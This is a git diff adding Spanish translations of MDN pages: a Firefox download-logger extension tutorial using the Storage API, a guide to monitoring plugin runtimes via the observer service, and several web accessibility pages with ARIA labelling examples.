+                          .getService(Components.interfaces.nsIDownloadManager);
+
+   this.dlMgr.addListener(downloadlogger);
+
+   // Abre la base de datos, poniendo su archivo en el directorio de perfil (profile)
+
+   this.dbFile = Components.classes["@mozilla.org/file/directory_service;1"]
+                    .getService(Components.interfaces.nsIProperties)
+                    .get("ProfD", Components.interfaces.nsIFile);
+   this.dbFile.append("downloadlogger.sqlite");
+
+   // Accede al servicio de almacenamiento y abre la base de datos
+
+   this.storageService = Components.classes["@mozilla.org/storage/service;1"]
+                       .getService(Components.interfaces.mozIStorageService);
+
+   var dbConn = this.storageService.openDatabase(this.dbFile);
+
+   // Ahora crea la tabla; si ya existe, esto produce un error, pero ¡no importa!
+
+   dbConn.executeSimpleSQL("CREATE TABLE items (source TEXT, size INTEGER," +
+                           " startTime INTEGER, endTime INTEGER," +
+                           " speed REAL, status INTEGER)");
+   dbConn.close();
+ },
+</pre>
+<p>Esto es bastante simple. El administrador de descargas es almacenado en una variable en el objeto <code>downloadlogger</code> para ser usado más tarde y llama a su método <code>addListener()</code> para empezar la escucha de los cambios de estado de descargas. El archivo de la base de datos se abre y se ejecuta la instrucción sqlite: <code>CREATE TABLE</code> para crear la tabla.</p>
+<p>Finalmente, se cierra la base de datos.</p>
+<div class="note"><strong>Nota:</strong> El método <code>close()</code> de <code><a href="/es/mozIStorageConnection" title="es/mozIStorageConnection">mozIStorageConnection</a></code> se añade en la versión alpha 8 de Firefox 3. En versiones anteriores de Firefox, no hay forma explícita de cerrar la base de datos; Se cierra cuando el colector de desperdicios desecha el objeto conexión.</div>
+<h3 id="Manejando_los_cambios_de_estados_de_las_descargas" name="Manejando_los_cambios_de_estados_de_las_descargas">Seguir los cambios de estados de las descargas</h3>
+<p>Una vez que el código mostrado más arriba se ejecuta, cada vez que hay un cambio de estado se produce una llamada a nuestro método <code>onDownloadStateChange()</code>. Esto es parte de la interfaz <code><a href="/es/nsIDownloadProgressListener" title="es/nsIDownloadProgressListener">nsIDownloadProgressListener</a></code>.</p>
+<p>Ese código es parecido a esto:</p>
+<pre class="eval"> onDownloadStateChange: function(aState, aDownload) {
+   var statement;
+
+   switch(aDownload.state) {
+     case Components.interfaces.nsIDownloadManager.DOWNLOAD_DOWNLOADING:
+
+       // Agregar una fila para la nueva descarga que comienza; cada fila incluye
+       // la URI del origen, tamaño y hora de comienzo. La hora de final y la velocidad de descarga
+       // se ponen ambas a cero ya que no las conocemos aún.
+
+       // status es el valor del estado llegado desde el administrador de descargas.
+
+       var dbConn = this.storageService.openDatabase(this.dbFile);
+       statement = dbConn.createStatement("REPLACE INTO items VALUES " +
+                                          "(?1, ?2, ?3, 0, 0.0, 0)");
+
+       statement.bindStringParameter(0, aDownload.source.spec);
+       statement.bindInt64Parameter(1, aDownload.size);
+       statement.bindInt64Parameter(2, aDownload.startTime);
+       statement.execute();
+       statement.reset();
+       dbConn.close();
+       break;
+
+     // Registra si se ha completado (o ha fallado) la descarga
+
+     case Components.interfaces.nsIDownloadManager.DOWNLOAD_FINISHED:
+     case Components.interfaces.nsIDownloadManager.DOWNLOAD_FAILED:
+     case Components.interfaces.nsIDownloadManager.DOWNLOAD_CANCELED:
+       this.logTransferCompleted(aDownload);
+       break;
+   }
+ },
+</pre>
+<p>Nos interesan cuatro estados. Si el estado de la descarga, indicado por el campo <code>aDownload.state</code> es <code>Components.interfaces.nsIDownloadManager.DOWNLOAD_DOWNLOADING</code>, se ha comenzado la descarga del archivo. El objeto <code>aDownload</code> es un objeto <code><a href="/es/nsIDownload" title="es/nsIDownload">nsIDownload</a></code>.</p>
+<p>En este caso, creamos una nueva fila en nuestra base de datos para el nuevo archivo, abriendo la base de datos y construyendo una instrucción sqlite: <code>REPLACE INTO</code>. Las primeras tres filas se comlpetan con el valor de la URI de origen, tamaño del archivo y hora de comienzo del objeto descarga (<em>download</em>). Las demás filas se ponen a cero ya que esa información no la tenemos ahora.</p>
+<p>Si el estado de la descarga indica que ésta ha terminado, se ha cancelado o ha fallado, llamamos a nuestra rutina <code>logTransferCompleted</code> para actualizar el registro indicando el cambio de estado. El código es como:</p>
+<pre class="eval"> logTransferCompleted: function(aDownload) {
+     var endTime = new Date();                // La hora actual es la hora de final
+
+     // Utiliza la instrucción sqlite REPLACE para actualizar el registro. Encontramos un
+     // registro para cada URI y hora de comienzo y actualizamos la hora de final,
+     // tamaño y velocidad en el registro. Haciendo coincidir la URI y la hora de comienzo,
+     // podemos tener varias entradas de múltiples descargas del mismo archivo.
+</pre>
+<p> </p>
+<pre class="eval">     var dbConn = this.storageService.openDatabase(this.dbFile);
+     var statement = dbConn.createStatement("UPDATE items SET size=?1, " +
+         "endTime=?2, speed=?3, status=?4 WHERE source=?5 and startTime=?6");
+     statement.bindInt64Parameter(0, aDownload.size);
+     statement.bindInt64Parameter(1, endTime.getTime());
+     statement.bindDoubleParameter(2, aDownload.speed);
+     statement.bindInt32Parameter(3, aDownload.state);
+     statement.bindStringParameter(4, aDownload.source.spec);
+     statement.bindInt64Parameter(5, aDownload.startTime);
+     statement.execute();
+     statement.reset();
+     dbConn.close();
+ },
+</pre>
+<p>Esto simplemente abre la base de datos y ejecuta la instrucción sqlite: <code>UPDATE</code> que encuentra la descarga cuya URI de origen y su hora de inicio coinciden con la descarga que se ha completado y actualiza su información. Buscando por un registro con igual URI y hora de comienzo, implementamos la posibilidad de que un usuario descargue el mismo archivo varias veces.</p>
+<p> </p>
+<h3 id="Mostrando_el_registro_de_descargas" name="Mostrando_el_registro_de_descargas">Mostrando el registro de descargas</h3>
+<p>El código de la ventana de registro está encapsulado en un objeto llamado <code>downloadlogger_dlwindow</code>. Ya que este es un ejemplo simple, es una ventana de registro de una única descarga; no nos preocupamos de cambios posteriores del registro. Simplemente mostramos el estado de la descarga en el momento en que la ventana se abre.</p>
+<p>Esto significa que todo el trabajo puede hacerse en el manejador del evento de carga, que es algo así:</p>
+<pre class="eval"> onLoad: function() {
+   // Abre la base de datos
+
+   this.dbFile = Components.classes["@mozilla.org/file/directory_service;1"]
+                    .getService(Components.interfaces.nsIProperties)
+                    .get("ProfD", Components.interfaces.nsIFile);
+   this.dbFile.append("downloadlogger.sqlite");
+
+   // Consigue acceso al servicio de almacenamiento y abre la base de datos
+
+   this.storageService = Components.classes["@mozilla.org/storage/service;1"]
+                       .getService(Components.interfaces.mozIStorageService);
+
+   var dbConn = this.storageService.openDatabase(this.dbFile);
+
+   var loglist = document.getElementById("loglist");
+
+   var statement = dbConn.createStatement("SELECT * FROM items");   // Get all items in table
+   try {
+     while (statement.executeStep()) {
+       var row = document.createElement('listitem');
+
+       // Agrega las celdas al registro (fila de la tabla)
+
+       var cell = document.createElement('listcell');
+       var sourceStr = statement.getString(0);
+       row.setAttribute("tooltiptext", sourceStr);
+       sourceStr = sourceStr.slice(sourceStr.lastIndexOf("/")+1, sourceStr.length);
+       cell.setAttribute("label", sourceStr);   // Source
+       row.appendChild(cell);
+
+       cell = document.createElement('listcell');
+       cell.setAttribute("label", (statement.getInt64(1) / 1024).toFixed(1) + "KB");    // Size
+       cell.setAttribute("style", "text-align:right");
+       row.appendChild(cell);
+
+       var theDate = new Date(statement.getInt64(2) / 1000);        // Start time
+       cell = document.createElement('listcell');
+       var dateStr = theDate.toLocaleString();
+       cell.setAttribute("label", dateStr);
+       row.appendChild(cell);
+
+       theDate = new Date(statement.getInt64(3));            // End time
+       cell = document.createElement('listcell');
+       dateStr = theDate.toLocaleString();
+       cell.setAttribute("label", dateStr);
+       row.appendChild(cell);
+
+       var speed = statement.getDouble(4) / 1024.0;
+       cell = document.createElement('listcell');
+       cell.setAttribute("label", speed.toFixed(1) + "KB/sec");
+       cell.setAttribute("style", "text-align:right");
+       row.appendChild(cell);
+
+       var status = statement.getInt32(5);
+       var style = "color:black";
+       cell = document.createElement('listcell');
+
+       var statusStr;
+
+       switch(status) {
+         case 0:
+           statusStr = "Descargando";
+           break;
+         case 1:
+           statusStr = "Completada";
+           style = "color:green";
+           break;
+         case 2:
+           statusStr = "Fallida";
+           style = "color:red";
+           break;
+         case 3:
+           statusStr = "Cancelada";
+           style = "color:purple";
+           break;
+         case 4:
+           statusStr = "Pausada";
+           style = "color:blue";
+           break;
+         case 5:
+           statusStr = "En cola";
+           style = "color:teal";
+           break;
+         case 6:
+           statusStr = "Bloqueada";
+           style = "color:white background-color:red";
+           break;
+         case 7:
+           statusStr = "Escaneando";
+           style = "color:silver";
+           break;
+         default:
+           statusStr = "Desconocido";
+           break;
+       }
+       cell.setAttribute("label", statusStr);
+       cell.setAttribute("style", style);
+       row.appendChild(cell);
+
+       loglist.appendChild(row);
+     }
+   } finally {
+     statement.reset();
+     dbConn = null;
+   }
+ }
+</pre>
+<p>Este código es bastante simple. Comienza abriendo la base de datos sqlite que contiene la información de registro y entonces crea una sentencia SQL: <code>SELECT</code> para leer las entradas de la base de datos.</p>
+<p>Para reiterar sobre los resultados, usamos un bucle <code>while</code> que llama al método <code>executeStep()</code> del objeto <code><a href="/es/MozIStorageStatement" title="es/MozIStorageStatement">mozIStorageStatement</a></code>. Cada vez que este método es llamado, se recoge una fila de resultados.</p>
+<p>Después de esto, se crea el objeto fila y cada entrada del resultado de la búsqueda, se pone en su respectiva celda.</p>
+<p>Los puntos a resaltar son:</p>
+<ul> <li><code><a href="/es/MozIStorageStatement" title="es/MozIStorageStatement">mozIStorageStatement</a></code> tiene varias rutinas para recoger datos de los resultados de la búsqueda, incluyendo <code>getString()</code>, <code>getDouble()</code>, y <code>getInt64()</code>. Estos métodos toman como parámetro el indice en base cero de la columna cuyo valor queremos recuperar.</li>
+</ul>
+<ul> <li>Notese que la hora de comienzo está dividida por 1000 antes de crear el objeto JavaScript <code>Date</code> para ello. Eso es, ajustar el valor almacenado en la base de datos al que espera JavaScript.</li>
+</ul>
+<ul> <li>Para justificar a la derecha los valores numéricos de las columnas, ajustamos el atributo <code>style</code> de la celda apropiada a <code>text-align:right</code>.</li>
+</ul>
+<h3 id="Ejercicios_para_el_lector" name="Ejercicios_para_el_lector">Ejercicios para el lector</h3>
+<p>Hay algunas cosas obvias que podrían hacerse para mejorar esta extensión. Si estás aprendiendo a usar el gestor de descargas o el API Storage, hay algunas cosas que convendría que miraras para practicar:</p>
+<ul> <li>Añade código para actualizar la ventana del registro de descargas en vivo, en lugar de generar una lista estática cuando se abre por primera vez.</li>
+</ul>
+<ul> <li>Añade estadísticas adicionales. ¿Cuál es la velocidad media entre todas las descargas? ¿A qué hora del día obtienes el mayor rendimiento de descargas?</li>
+</ul>
+<ul> <li>Añade botones para borrar registros de la lista o para borrar todos los registros de descargas completadas.</li>
+</ul>
+<ul> <li>Añade búsquedas.</li>
+</ul>
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+<p><a href="/es/Storage" title="es/Storage">Storage</a>, <code><a href="/es/nsIDownloadManager" title="es/nsIDownloadManager">nsIDownloadManager</a></code>, <code><a href="/es/nsIDownload" title="es/nsIDownload">nsIDownload</a></code>, <code><a href="/es/nsIDownloadProgressListener" title="es/nsIDownloadProgressListener">nsIDownloadProgressListener</a></code></p> <p></p>
diff --git a/files/es/vigilar_plugins/index.html b/files/es/vigilar_plugins/index.html
new file mode 100644
index 0000000000..2e5c6a0863
--- /dev/null
+++ b/files/es/vigilar_plugins/index.html
@@ -0,0 +1,110 @@
+---
+title: Vigilar plugins
+slug: Vigilar_plugins
+tags:
+  - Firefox 3
+  - Plugins
+  - Todas_las_Categorías
+---
+<p>{{ Fx_minversion_header(3) }}
+</p>
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+<p>Ya está disponible un nuevo componente de los plugin que permite saber cuanto tiempo le toma a un determinado plugin (p.e. Adobe Flash) ejecutar sus llamadas. Este componente presenta el runtime del plugin usando el <a href="es/NsIObserverService">observer service</a> a cualquiera que reciba la notificación. Este artículo cuenta cómo los desarrolladores pueden hacer uso de esta facilidad.
+</p><p><br>
+</p>
+<h3 id="Datos_del_Runtime" name="Datos_del_Runtime">Datos del Runtime</h3>
+<p>La información del runtime presentada es siempre en fracciones de segundo. Ya que el componente mide el tiempo que le toma a las llamadas de bloque del plugin, el valor incluye tanto el tiempo de CPU, el tiempo de espera entre asignaciones de tiempo de CPU al proceso, como cualquier tiempo de e/s del disco. Es técnicamente incorrecto decir que el runtime es una medida del uso de CPU, sin embargo, es una buena representación de los recursos totales consumidos por el plugin.
+</p>
+<h3 id="Uso" name="Uso">Uso</h3>
+<p>Para hacer uso del nuevo componente, debes registrarte para recibir las notificaciones del runtime usando el <a href="es/NsIObserverService">observer service</a>. El tópico de la notificación es <code>experimental-notify-plugin-call</code>. Si eres novato con el servicio de observación de Mozilla, querrás familiarizarte con él antes de proseguir. Puedes encontrar información acerca del servicio de observación <a href="es/NsIObserverService"> aquí</a> y <a href="es/NsIObserver"> aquí</a>.
+</p><p>Debajo hay un número de conversaciones sobre JavaScript que podrían ser útiles para desarrolladores que quieran usar esta facilidad:
+</p>
+<h4 id="Registro" name="Registro">Registro</h4>
+<p>Para registrase en el servicio de notificaciones con el observador debes crear una clase con un método <code>observe</code> que recibe tres parámetros (<code>subject</code>, <code>topic</code> y <code>data</code>) así como un método <code>register</code> que contiene el siguiente código:
+</p><p><br>
+<code>
+</code></p>
+<pre class="eval">var observerService = Components.classes["@mozilla.org/observer-service;1"]
+                        .getService (Components.interfaces.nsIObserverService);
+observerService.addObserver(this, "experimental-notify-plugin-call", false);
+</pre>
+<p>
+</p><p><br>
+</p>
+<h4 id="Observando" name="Observando">Observando</h4>
+<p>Como hemos dicho arriba, para especificar lo que quieres que se haga cuando llega una notificación, tu clase debe tener un método <code>observe</code>, que recibe tres parámetros (<code>subject</code>, <code>topic</code> y <code>data</code>). El <code>topic</code> contiene el tópico de la notificación - <code>experimental-notify-plugin-call</code> en este caso, <code>data</code> es el runtime en mili segundos y <code>subject</code> es siempre <code>null</code> y no debería usarse.
+</p><p>Aquí hay un ejemplo que muestra el runtime en una caja de alerta al usuario si el runtime excede medio segundo de longitud:
+</p><p><code>
+</code></p>
+<pre class="eval"> observe: function(subject, topic, data) {
+   if (topic == "experimental-notify-plugin-call" ) {
+     if (data &gt; 0.500) {
+       alert("Runtime is: " + data);
+     }
+   }
+ }
+</pre>
+<p>
+</p><p><b>NOTA: Esto es un ejemplo simplificado y se desaconseja el uso de <code>alert()</code> ya que el componente puede enviar cientos de notificaciones por segundo y puede, potencialmente, causar la parada del navegador si se abre un número excesivo de cajas de alerta.</b>
+</p><p>Téngase también en cuenta que en el ejemplo anterior una sentencia if primero comprueba que el tópico de la notificación es el correcto. Esto es útil en casos en los que la clase se registra para recibir notificaciones de más de un tópico en el servicio de observación.
+</p>
+<h4 id="Limpieza" name="Limpieza">Limpieza</h4>
+<p>Para des-registrar tu clase en el servicio de observación - cuando ya no quieres escuchar las notificaciones del runtime - tu clase debe incluir un método <code>unregister</code> que contenga el siguiente código:
+</p><p><code>
+</code></p>
+<pre class="eval">var observerService = Components.classes["@mozilla.org/observer-service;1"]
+                       .getService(Components.interfaces.nsIObserverService);
+observerService.removeObserver(this, "experimental-notify-plugin-call");
+</pre>
+<p>
+</p><p><br>
+</p>
+<h4 id="Esquema_de_una_clase_para_el_observador" name="Esquema_de_una_clase_para_el_observador">Esquema de una clase para el observador</h4>
+<p>A continuación presentamos un esquema de una clase que puedes usar para escuchar el servicio de notificaciones:
+</p><p><code>
+</code></p>
+<pre class="eval"> function PluginObserver() {
+   this.registered = false;
+   this.register();	// se cuida de registrar esta clase en el servicio de observación como un observador para el servicio de notificación
+ }
+
+ PluginWatcherObserver.prototype = {
+   observe: function(subject, topic, data) {
+
+     if (topic == "experimental-notify-plugin-call") //En caso de que tu clase esté registrada para escuchar otros tópicos
+       //Esto es ejecutado cada vez que llega una notificación
+       // --AQUÍ VA TU CÓDIGO--
+     }
+
+
+   },
+   //Se cuida de registrar el observador para el tópico "experimental-notify-plugin-call"
+   register: function() {
+     if (this.registered == false) { //Este evento previene el doble registro -- ¡algo que quieres evitar!
+       var observerService = Components.classes["@mozilla.org/observer-service;1"]
+                                       .getService(Components.interfaces.nsIObserverService);
+       observerService.addObserver(this, "experimental-notify-plugin-call", false);
+       this.registered = true;
+     }
+   },
+   //Des-registra del servicio de observación
+   unregister: function() {
+     if (this.registered == true) {
+       var observerService = Components.classes["@mozilla.org/observer-service;1"]
+                                       .getService(Components.interfaces.nsIObserverService);
+       observerService.removeObserver(this, "experimental-notify-plugin-call");
+       this.registered = false;
+     }
+   }
+ }
+</pre>
+<p>
+</p><p><br>
+</p>
+<h3 id="Recursos_adicionales" name="Recursos_adicionales">Recursos adicionales</h3>
+<p>Más información sobre el servicio de observación:
+</p>
+<ul><li> <a href="es/NsIObserverService">nsIObserverService</a>
+</li><li> <a href="es/NsIObserver">nsIObserver</a>
+</li></ul>
+{{ languages( { "ja": "ja/Monitoring_plugins" } ) }}
diff --git a/files/es/web/accesibilidad/comunidad/index.html b/files/es/web/accesibilidad/comunidad/index.html
new file mode 100644
index 0000000000..34acce8e6e
--- /dev/null
+++ b/files/es/web/accesibilidad/comunidad/index.html
@@ -0,0 +1,44 @@
+---
+title: Comunidad
+slug: Web/Accesibilidad/Comunidad
+tags:
+  - Accesibilidad
+  - Todas_las_Categorías
+translation_of: Web/Accessibility/Community
+---
+<p> </p>
+<p>Si conoces alguna lista de correo, grupo de noticias, foro, o comunidad relacionada con la
+ <i>
+  accesibilidad</i>
+ que pueda ser de interés. Por favor, pon aquí un enlace.</p>
+<h3 id="Mozilla" name="Mozilla">Mozilla</h3>
+<ul>
+ <li>La
+  <i>
+   Accesibilidad</i>
+  en la comunidad Mozilla... en inglés</li>
+</ul>
+<p>{{ DiscussionList("support-accessibility", "mozilla.support.accessibility") }}</p>
+<h3 id="Listas_de_correo" name="Listas_de_correo">Listas de correo</h3>
+<ul>
+ <li><a class="external" href="http://es.groups.yahoo.com/group/accesoweb">Accesoweb</a> Lista en castellano sobre problemas y soluciones de diseño accesible para la Red de la <b>Fundación Sidar</b>.</li>
+</ul>
+<h3 id="Foros" name="Foros">Foros</h3>
+<ul>
+ <li> </li>
+</ul>
+<p> </p>
+<h3 id="Bit.C3.A1coras" name="Bit.C3.A1coras">Bitácoras</h3>
+<ul>
+ <li><a class="external" href="http://accesibilidadweb.blogspot.com/">Accesibilidad, Usabilidad y Estándares Web</a> Este es un blog dedicado a todos los temas relacionados con la accesibilidad web, usabilidad y estándares web.</li>
+</ul>
+<h3 id="Wikis" name="Wikis">Wikis</h3>
+<ul>
+ <li> </li>
+</ul>
+<p> </p>
+<h3 id="Otros_Sitios" name="Otros_Sitios">Otros Sitios</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/WAI/">El sitio del WAI (en)</a></li>
+</ul>
+<p><span class="comment">categorías</span></p>
diff --git a/files/es/web/accesibilidad/index.html b/files/es/web/accesibilidad/index.html
new file mode 100644
index 0000000000..ea30623a6d
--- /dev/null
+++ b/files/es/web/accesibilidad/index.html
@@ -0,0 +1,93 @@
+---
+title: Accesibilidad
+slug: Web/Accesibilidad
+tags:
+  - Accesibilidad
+  - Todas_las_Categorías
+translation_of: Web/Accessibility
+---
+<div class="callout-box"><strong><a class="external" href="http://www.w3c.es/Divulgacion/Guiasbreves/Accesibilidad">Guía Breve de Accesibilidad Web</a></strong><br>
+Las cuatro cosas básicas y un montón de buenos enlaces.</div>
+
+<p>La <strong>accesibilidad web </strong>(a menudo abreviada como <strong>A11y)</strong> se refiere a la posibilidad de acceso a los diferentes sitios web y a todo su contenido por todas las personas, independientemente de sus limitaciones fìsicas (discapacidad) o las derivadas del contexto de uso (tecnológicas o ambientales).{{ Ref(1) }}</p>
+
+<p><font><font>Para muchas personas, la tecnología facilita las cosas. </font><font>Para las personas con algun tipo de discapacidad, la tecnología hace las cosas posibles. </font><font>Accesibilidad significa desarrollar contenido para que sea lo más accesible posible sin importar las habilidades físicas y cognitivas de un individuo y sin importar cómo acceda a la web.</font></font></p>
+
+<p><font><font>" </font></font><strong><font><font>La Web está diseñada fundamentalmente para que funcione para todas las personas</font></font></strong><font><font> , independientemente de su hardware, software, idioma, cultura, ubicación, capacidad física o mental.</font></font></p>
+
+<p>El máximo organismo dentro de la jerarquía de Internet que se encarga de promover la accesibilidad es el <a class="external" href="http://www.w3c.es">W3C</a>, en especial su grupo de trabajo <a class="external" href="http://www.w3c.es/Traducciones/es/WAI/intro/accessibility">WAI</a>.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"><a href="/Special:Tags?tag=Accesibilidad&amp;language=es" title="Special:Tags?tag=Accesibilidad&amp;language=es">Documentación</a></h4>
+
+    <dl>
+     <dt><a href="/es/Introducci%C3%B3n_a_la_Accesibilidad_Web_(externo)" title="es/Introducción_a_la_Accesibilidad_Web_(externo)">Introducción a la Accesibilidad Web (externo)</a></dt>
+     <dd>WAI: estrategias, pautas, recursos para hacer la Web accesible a personas con discapacidad.</dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/es/Pautas_de_Accesibilidad_al_Contenido_en_la_Web_1.0_(externo)" title="es/Pautas_de_Accesibilidad_al_Contenido_en_la_Web_1.0_(externo)">Pautas de Accesibilidad al Contenido en la Web 1.0 (externo)</a></dt>
+     <dd>"Estas pautas explican cómo hacer accesibles los contenidos de la Web a personas con discapacidad."</dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.discapnet.es/web_accesible/tecnicas/WCAG10-TECHS-20001106_es.html">Técnicas para las Pautas de Accesibilidad al Contenido en la Web 1.0</a></dt>
+     <dd>Este documento es el punto de acceso a una serie de documentos relacionados que describen técnicas para satisfacer los requisitos definidos en las "Pautas de Accesibilidad al Contenido en la Web 1.0"</dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.discapnet.es/web_accesible/WCAG-REC-fact.html">FAQ sobre las "Pautas de Accesibilidad al Contenido en la Web 1.0"</a></dt>
+     <dd>Esta página de preguntas frecuentes proporciona información sobre la recomendación W3C WACG 1.0. Es una traducción de <em>Fact Sheet for "Web Content Accessibility Guidelines 1.0"</em></dd>
+    </dl>
+
+    <dl>
+     <dt></dt>
+     <dd>When authored according to these guidelines, XUL is capable of generating accessible user interfaces. Coders, reviewers, designers and QA engineers should be familiar with these guidelines.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/Special:Tags?tag=Accesibilidad&amp;language=es" title="Special:Tags?tag=Accesibilidad&amp;language=es">Ver más...</a></span></p>
+   </td>
+   <td>
+    <h4 id="Comunidad" name="Comunidad">Comunidad</h4>
+
+    <ul>
+     <li>En la comunidad Mozilla... en inglés</li>
+    </ul>
+
+    <p>{{ DiscussionList("support-accessibility", "mozilla.support.accessibility") }}</p>
+
+    <p><span class="alllinks"><a href="/es/Accesibilidad/Comunidad" title="es/Accesibilidad/Comunidad">Ver más...</a></span></p>
+
+    <h4 id="Herramientas" name="Herramientas">Herramientas</h4>
+
+    <ul>
+     <li><a href="/es/HERA_(externo)" title="es/HERA_(externo)">HERA, test de accesibilidad</a></li>
+     <li><a href="/es/TAW_(externo)" title="es/TAW_(externo)">TAW, test de accesibilidad </a></li>
+     <li><a class="external" href="http://www.accesible.com.ar/examinator/">Test de accesibilidad eXaminator</a></li>
+     <li><a class="external" href="http://www.e-kaw.org/index.jsp">kit de accesibilidad web</a></li>
+     <li><a class="external" href="https://addons.mozilla.org/es/firefox/addon/claws/">Claws - emulador de lector de pantalla</a></li>
+    </ul>
+
+    <p><span class="alllinks"><a href="/Special:Tags?tag=Accesibilidad:Herramientas&amp;language=es" title="Special:Tags?tag=Accesibilidad:Herramientas&amp;language=es">Ver más...</a></span></p>
+
+    <h4 id="Temas_relacionados" name="Temas_relacionados">Temas relacionados</h4>
+
+    <dl>
+     <dd>· <a href="/es/Desarrollo_Web" title="es/Desarrollo_Web">Desarrollo Web</a> · <a href="/es/Desarrollando_Mozilla" title="es/Desarrollando_Mozilla">Desarrollando Mozilla</a> ·</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<hr>
+<p><small>{{ Note(1) }} <a class="external" href="http://es.wikipedia.org/wiki/Accesibilidad_web">Definición de la Wikipedia</a> </small></p>
+
+<p><span class="comment">Categorias</span></p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
+
+<p>{{ languages( { "en": "en/Accessibility", "fr": "fr/Accessibilit\u00e9", "ja": "ja/Accessibility", "pl": "pl/Dost\u0119pno\u015b\u0107" } ) }}</p>
diff --git a/files/es/web/accesibilidad/understanding_wcag/etiquetas_de_texto_y_nombres/index.html b/files/es/web/accesibilidad/understanding_wcag/etiquetas_de_texto_y_nombres/index.html
new file mode 100644
index 0000000000..ffaade2cb1
--- /dev/null
+++ b/files/es/web/accesibilidad/understanding_wcag/etiquetas_de_texto_y_nombres/index.html
@@ -0,0 +1,266 @@
+---
+title: Etiquetas de texto y nombres
+slug: Web/Accesibilidad/Understanding_WCAG/Etiquetas_de_texto_y_nombres
+tags:
+  - Accesibilidad
+  - Etiquetas de texto
+  - WCAG
+translation_of: Web/Accessibility/Understanding_WCAG/Text_labels_and_names
+---
+<p><span class="seoSummary">Hay muchas situaciones en las cuales un control, dialogo o cualquier otra característica de un sitio web deberían recibir un nombre o etiqueta descriptiva para permitir a los usuarios de técnologías asistivas entender cual es su propósito y ser capaz de entenderlo y operarlo correctamente.</span> Hay un número de diferentes tipos de problemas en esta categoría, dependientes del contexto, y cada uno tiene su propia solución. Los diferentes problemas y soluciones son discutidas en las secciones posteriores.</p>
+
+<h2 id="Utilizar_el_atributo_alt_para_etiquetar_elementos_que_ocupen_un_área_que_tiene_el_atributo_href">Utilizar el atributo alt para etiquetar elementos que ocupen un área que tiene el atributo href</h2>
+
+<p>En mapas de imágenes, cada elemento {{htmlelement("area")}} con un atributo <code>alt</code> definiendo un nombre que describa el recurso al que enlaza el area. Fallar al hacer eso provoca que un mapa de imagen sea difícil de usar para usuarios que usen tecnología asistiva — ellos necesitan texto alternativo para ser capaces de entender el propósito de una imagen.</p>
+
+<h3 id="Ejemplos">Ejemplos</h3>
+
+<p>El siguiente ejemplo muestra un simple mapa de imagen (tomada de <a href="https://www.w3.org/TR/WCAG20-TECHS/H24.html">H24: Providing text alternatives for the area elements of image maps</a>):</p>
+
+<pre>&lt;img src="welcome.gif" usemap="#map1"
+    alt="Areas in the library. Select an area for
+more information on that area." /&gt;
+&lt;map id="map1" name="map1"&gt;
+  &lt;area shape="rect" coords="0,0,30,30"
+    href="reference.html" alt="Reference" /&gt;
+  &lt;area shape="rect" coords="34,34,100,100"
+    href="media.html" alt="Audio visual lab" /&gt;
+&lt;/map&gt;</pre>
+
+<p>Ver la <a href="/en-US/docs/Web/HTML/Element/area">página de referencia del elemento</a> <a href="/en-US/docs/Web/HTML/Element/area"><code>&lt;area&gt;</code></a> para unu ejemplo interactivo.</p>
+
+<h3 id="Ver_también">Ver también</h3>
+
+<ul>
+ <li>{{htmlelement("area")}}</li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/H24.html">H24: Providing text alternatives for the area elements of image maps</a></li>
+</ul>
+
+<h2 id="Los_diálogos_deberían_ser_etiquetados">Los diálogos deberían ser etiquetados</h2>
+
+<p>Para cualquier contenedor cuyo contenido actue como una caja de diálogo (por ejemplo, un modal preguntando al usuario realizar una elección o responder a una acción siendo tomada), debe tener una etiqueta descriptiva o nombre, para que la tecnología asistiva le permita al usuario descrubir fácilmente cual es su propósito.</p>
+
+<p>Una caja de diálogo es generalmente denominada con un ARIA <code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/dialog_role">role="dialog"</a></code> o <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alertdialog_role">role="alertdialog"</a></code>; se puede usar tanto el atributo <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute">aria-label</a></code> o <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code> para proporcionar una etiqueta.</p>
+
+<h3 id="Ejemplos_2">Ejemplos</h3>
+
+<p>El siguiente ejemplo muestra una caja de dialogo sencilla, definida como <code>role="dialog"</code> y etiquetada con <code>aria-labelledby</code>.</p>
+
+<pre>&lt;div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"&gt;
+  &lt;h2 id="dialog1Title"&gt;Your personal details were successfully updated&lt;/h2&gt;
+  &lt;p id="dialog1Desc"&gt;You can change your details at any time in the user account section.&lt;/p&gt;
+  &lt;button&gt;Close&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<p>Si la caja de diálogo no tiene un encabezado, se puede usar <code>aria-label</code> para contener la etiqueta de texto:</p>
+
+<pre>&lt;div role="dialog" aria-label="Personal details updated confirmation"&gt;
+  &lt;p&gt;Your personal details were successfully updated. You can
+    change your details at any time in the user account section.&lt;/p&gt;
+  &lt;button&gt;Close&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Ver_también_2">Ver también</h3>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/dialog_role">role="dialog"</a></code></li>
+ <li><code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alertdialog_role">role="alertdialog"</a></code></li>
+ <li><code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute">aria-label</a></code></li>
+ <li><code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code></li>
